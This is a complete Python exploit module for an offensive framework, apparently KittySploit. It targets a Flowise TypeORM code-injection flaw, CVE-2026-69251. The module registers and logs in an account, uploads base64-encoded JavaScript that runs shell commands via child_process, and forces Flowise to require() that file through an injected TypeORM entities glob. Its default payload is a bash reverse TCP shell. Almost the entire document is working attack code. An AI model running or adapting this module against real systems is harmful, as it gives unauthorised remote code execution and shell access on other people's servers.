Flowise TypeORM RCE (CVE-2026-69251)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-69251 — Flowise TypeORM DataSource options code injection RCE."""

import base64
import json
import uuid

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Flowise TypeORM RCE (CVE-2026-69251)",
        "description": (
            "Exploits CVE-2026-69251 in Flowise <= 3.1.2 (fixed 3.1.3): record-manager nodes "
            "spread additionalConfig JSON into TypeORM DataSource; entities globs trigger "
            "require() of attacker-uploaded JavaScript during initialize(). Chains first-account "
            "register, cookie login, File Loader upload, and vectorstore/insert. Delivers the "
            "configured framework payload (reverse_tcp by default); set payload nopayload to "
            "capture verify_cmd output in-band from the HTTP 500 upsert response."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-69251"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-69251",
            "https://www.cve.org/CVERecord?id=CVE-2026-69251",
        ],
        "platform": Platform.LINUX,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "flowise",
            "nodejs",
            "typeorm",
            "code-injection",
            "authenticated",
            "rce",
            "cve-2026-69251",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 7,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["flowise"],
                "endpoint_pattern_any": ["/api/v1/document-store/vectorstore/insert"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "TypeORM entities require()"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": [],
            },
        },
    }

    port = OptPort(3000, "Flowise HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    email = OptString(
        "[email protected]",
        "Account email for register/login (first account is one-shot whitelisted)",
        False,
    )
    password = OptString("Flowise@12345", "Account password", False)
    vs_name = OptChoice(
        "postgres",
        "Vector store backend the target can reach",
        False,
        choices=["postgres", "chroma"],
        advanced=True,
    )
    vs_host = OptString(
        "pgvector",
        "Vector store host as seen from the target (or Chroma URL when vs_name=chroma)",
        False,
        advanced=True,
    )
    vs_port = OptInteger(5432, "Vector store port (postgres)", False, advanced=True)
    vs_db = OptString("flowise_vs", "Vector store database (postgres)", False, advanced=True)
    verify_cmd = OptString(
        "id",
        "Command when set payload nopayload (output returned in upsert HTTP 500 body)",
        False,
        advanced=True,
    )
    upsert_timeout = OptInteger(
        180,
        "Timeout in seconds for vectorstore/insert (vector backend may be slow)",
        False,
        advanced=True,
    )

    def _payload_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _capture_command_output(self) -> bool:
        if self._is_nopayload():
            return True
        path = self._get_configured_payload_path().lower()
        return "reverse" not in path and "bind" not in path

    def _api(self, suffix: str) -> str:
        base = (self.path or "/").rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _headers(self) -> dict:
        return {"x-request-from": "internal"}

    def _build_js(self, command: str, marker: str, capture_output: bool) -> str:
        cmd_b64 = base64.b64encode(command.encode()).decode()
        if capture_output:
            return (
                "var cp = require('child_process');\n"
                f"var cmd = Buffer.from('{cmd_b64}', 'base64').toString();\n"
                "var out;\n"
                "try { out = cp.execSync(cmd + ' 2>&1').toString(); }\n"
                "catch (e) { out = (e.stdout ? e.stdout.toString() : '') + "
                "(e.stderr ? e.stderr.toString() : '') + String(e.message || e); }\n"
                f"throw new Error('{marker}:' + out + ':{marker}');\n"
            )
        return (
            "var cp = require('child_process');\n"
            f"var cmd = Buffer.from('{cmd_b64}', 'base64').toString();\n"
            "cp.exec(cmd);\n"
        )

    def _extract_output(self, raw: str, marker: str):
        start = raw.find(marker + ":")
        if start == -1:
            return None
        start += len(marker) + 1
        end = raw.find(":" + marker, start)
        if end == -1:
            end = len(raw)
        out = raw[start:end]
        return out.replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"').strip()

    def _vs_config(self) -> dict:
        if str(self.vs_name or "postgres").lower() == "chroma":
            return {"chromaURL": str(self.vs_host or ""), "collectionName": "documents"}
        return {
            "host": str(self.vs_host or "pgvector"),
            "port": int(self.vs_port or 5432),
            "database": str(self.vs_db or "flowise_vs"),
            "tableName": "documents",
        }

    def _register_login(self):
        headers = self._headers()
        timeout = int(self.timeout or 15)
        email = str(self.email or "[email protected]")
        password = str(self.password or "Flowise@12345")

        self.http_request(
            method="POST",
            path=self._api("/api/v1/account/register"),
            json={"user": {"name": "Admin", "email": email, "credential": password}},
            headers=headers,
            session=True,
            allow_redirects=False,
            timeout=timeout,
        )

        login = self.http_request(
            method="POST",
            path=self._api("/api/v1/auth/login"),
            json={"email": email, "password": password},
            headers=headers,
            session=True,
            allow_redirects=False,
            timeout=timeout,
        )
        if not login or int(login.status_code or 0) != 200:
            return False, f"login failed (HTTP {int(login.status_code or 0) if login else 0})"
        body, err = parse_json_response(login)
        if err or not body:
            return False, "login response not JSON"
        return True, body.get("activeOrganizationId")

    def _run_chain(self, command: str, capture_output: bool):
        ok, detail = self._register_login()
        if not ok:
            return "error", detail

        headers = self._headers()
        timeout = int(self.timeout or 15)
        upsert_timeout = int(self.upsert_timeout or 180)

        store_resp = self.http_request(
            method="POST",
            path=self._api("/api/v1/document-store/store"),
            json={"name": "s", "description": ""},
            headers=headers,
            session=True,
            allow_redirects=False,
            timeout=timeout,
        )
        body, err = parse_json_response(store_resp)
        store_id = (body or {}).get("id") if not err else None
        if not store_id:
            code = int(store_resp.status_code or 0) if store_resp else 0
            return "error", f"could not create document store (HTTP {code})"

        marker = "ALIM" + uuid.uuid4().hex[:16].upper()
        fname = "rce_" + uuid.uuid4().hex[:12] + ".js"
        js = self._build_js(command, marker, capture_output)
        data_uri = (
            "data:text/javascript;base64,"
            + base64.b64encode(js.encode()).decode()
            + ",filename:"
            + fname
        )
        loader = {
            "storeId": store_id,
            "loaderId": "fileLoader",
            "loaderName": "File Loader",
            "loaderConfig": {"txtFile": data_uri, "splitterId": ""},
        }
        save = self.http_request(
            method="POST",
            path=self._api("/api/v1/document-store/loader/save"),
            json=loader,
            headers=headers,
            session=True,
            allow_redirects=False,
            timeout=timeout,
        )
        save_body, save_err = parse_json_response(save)
        loader_id = (save_body or {}).get("id") if not save_err else None
        if loader_id:
            self.http_request(
                method="POST",
                path=self._api(f"/api/v1/document-store/loader/process/{loader_id}"),
                json=loader,
                headers=headers,
                session=True,
                allow_redirects=False,
                timeout=timeout,
            )

        entities_glob = "/root/.flowise/storage/**/" + fname
        insert = {
            "storeId": store_id,
            "embeddingName": "openAIEmbeddings",
            "embeddingConfig": {
                "modelName": "text-embedding-ada-002",
                "openAIApiKey": "sk-dummy",
            },
            "vectorStoreName": str(self.vs_name or "postgres"),
            "vectorStoreConfig": self._vs_config(),
            "recordManagerName": "SQLiteRecordManager",
            "recordManagerConfig": {
                "tableName": "upsertion_records",
                "additionalConfig": json.dumps({"entities": [entities_glob]}),
            },
        }
        upsert = self.http_request(
            method="POST",
            path=self._api("/api/v1/document-store/vectorstore/insert"),
            json=insert,
            headers=headers,
            session=True,
            allow_redirects=False,
            timeout=upsert_timeout,
        )
        raw = (upsert.text or "") if upsert else ""
        code = int(upsert.status_code or 0) if upsert else 0

        if capture_output:
            out = self._extract_output(raw, marker)
            if out is not None:
                return "rce", out
        elif upsert:
            return "rce", "payload dispatched"

        if "Disallowed TypeORM DataSource option" in raw:
            return "patched", "sanitizeDataSourceOptions rejected entities (>= 3.1.3)"
        low = raw.lower()
        if any(
            token in low
            for token in ("pgvector", "postgres", "econnrefused", "getaddrinfo", "connect")
        ):
            return "backend", "vector store backend unreachable — adjust vs_* options"
        return "error", f"no payload output (HTTP {code}): {raw[:200]}"

    def check(self):
        ok, detail = self._register_login()
        if not ok:
            return {
                "vulnerable": False,
                "reason": detail,
                "confidence": "medium",
            }
        return {
            "vulnerable": True,
            "reason": "Flowise login succeeded — document-store chain available",
            "confidence": "medium",
            "org_id": detail,
        }

    def run(self):
        try:
            print_status("CVE-2026-69251 — Flowise TypeORM DataSource RCE")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear exploitable"))
                self.not_vulnerable()
                return False

            print_success(result.get("reason", "Target appears exploitable"))
            command = self._payload_command()
            capture_output = self._capture_command_output()

            if capture_output:
                print_status(f"Dispatching verify command: {command}")
            else:
                print_status("Dispatching framework payload — waiting for session on listener")

            state, detail = self._run_chain(command, capture_output)

            if state == "patched":
                print_error(f"Target patched — {detail}")
                self.not_vulnerable()
                return False
            if state == "backend":
                print_error(detail)
                self.not_vulnerable()
                return False
            if state != "rce":
                print_error(detail)
                self.not_vulnerable()
                return False

            if capture_output:
                print_success("RCE confirmed — command output:")
                print_info(detail)
            else:
                print_success("Payload injected via require() — check listener for session")

            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False